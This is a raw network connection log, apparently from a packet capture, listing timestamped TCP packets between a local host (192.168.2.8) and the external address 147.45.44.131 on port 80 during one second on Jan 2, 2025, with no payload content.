Jan 2, 2025 19:14:19.036756039 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036756992 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036761999 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036767960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036772966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036778927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036786079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036789894 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036801100 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036822081 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036834955 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.082717896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.082766056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.082775116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.082779884 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.082792997 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.082799911 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.082804918 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.082812071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.082874060 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.082895994 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.120757103 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.120763063 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.120887041 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.120908022 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.120913982 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.120919943 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.120934010 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.120942116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.120948076 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.120958090 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.120970964 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.120976925 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.120990038 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.120997906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.121011019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.121016026 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.121105909 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.121105909 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.121105909 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.121105909 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.121105909 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.121105909 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.121423006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.121433020 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.121440887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.121464014 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.121469975 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.121474981 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.121488094 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.121519089 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.121565104 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.122654915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122661114 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122667074 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122673988 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122682095 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122689962 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122698069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122711897 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122716904 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122726917 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.122729063 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122735977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122740984 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122745991 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122750998 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.122751951 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.122765064 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.122792006 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.122807980 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.123272896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123305082 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123311043 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123428106 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.123450994 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123459101 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123472929 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123486996 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123492002 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123497009 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123502970 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123507977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123512030 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.123513937 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123521090 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123526096 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.123532057 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.123565912 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.123585939 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.125498056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.125579119 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.125585079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.125590086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.125595093 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.125601053 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.125606060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.125617027 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.125641108 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.125725031 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.126111031 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.126128912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.126136065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.126147985 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.126162052 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.126169920 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.126176119 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.126194000 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.126194000 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.126238108 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.126948118 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.126952887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127003908 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127208948 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127222061 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127228022 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127233028 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127244949 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127250910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127257109 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127257109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127264977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127273083 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127280951 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127291918 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127291918 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127335072 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127386093 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127399921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127412081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127425909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127432108 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127438068 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127443075 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127449036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127453089 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127459049 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127464056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127470016 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127474070 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127475023 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127475023 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127484083 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127491951 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127496004 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127501011 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127520084 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127532005 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127537012 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127537966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127537012 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127543926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127553940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127558947 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127566099 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127567053 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127593994 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127623081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127628088 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127630949 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127636909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127641916 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127646923 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127651930 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127656937 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127661943 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.127696037 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.127720118 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.179372072 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.179389954 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.179397106 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.179419041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.179425001 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.179430008 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.179435968 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.179440975 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.179596901 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.211739063 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211745977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211755037 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211761951 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211767912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211774111 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211777925 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211783886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211788893 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211793900 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211800098 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211805105 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211810112 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211815119 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.211838007 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.211854935 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.211889029 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.212071896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.212078094 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.212085009 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.212094069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.212131023 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.212153912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.212153912 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.212162018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.212168932 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.212177038 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.212208033 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.212218046 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.212234974 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.213284969 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213290930 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213298082 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213357925 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213366032 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213382006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213382006 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.213397026 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213404894 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213411093 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213416100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213422060 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.213428020 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213464022 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.213464022 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.213505030 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213512897 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213521004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213538885 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213552952 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213560104 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.213574886 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.213597059 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.213620901 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.214057922 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214066982 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214092016 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214099884 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214107990 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214112997 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.214159966 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.214219093 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214225054 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214231014 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214278936 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.214363098 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214378119 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214417934 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.214618921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214626074 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214632034 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214642048 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214648008 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214653969 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.214699984 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.214699984 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.216236115 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216243029 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216249943 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216275930 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216281891 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216309071 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.216331005 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216336966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216341972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216348886 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.216397047 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.216824055 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216862917 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216869116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216873884 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216886997 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216895103 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216900110 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216906071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.216941118 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.216960907 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.217706919 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217720032 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217729092 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217736959 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217751026 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217756033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217761040 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217767954 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.217798948 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.217818022 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.217931032 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217945099 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217952013 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217957973 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217962980 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217967987 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217976093 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217981100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217986107 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.217988968 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.217994928 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218008995 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218014956 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218024969 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.218029976 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218043089 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218045950 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.218056917 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218065977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218075037 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218079090 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218082905 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.218082905 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.218086004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218096018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218111992 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218115091 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.218126059 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218133926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218141079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218146086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218157053 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218162060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218167067 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218170881 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.218170881 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.218174934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218180895 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218187094 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218231916 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.218231916 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.218249083 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218287945 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218293905 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218311071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218316078 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218321085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218354940 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.218354940 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.218374014 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218408108 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218416929 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218421936 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218427896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.218477964 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.265156984 CET	49704	80	192.168.2.8	147.45.44.131
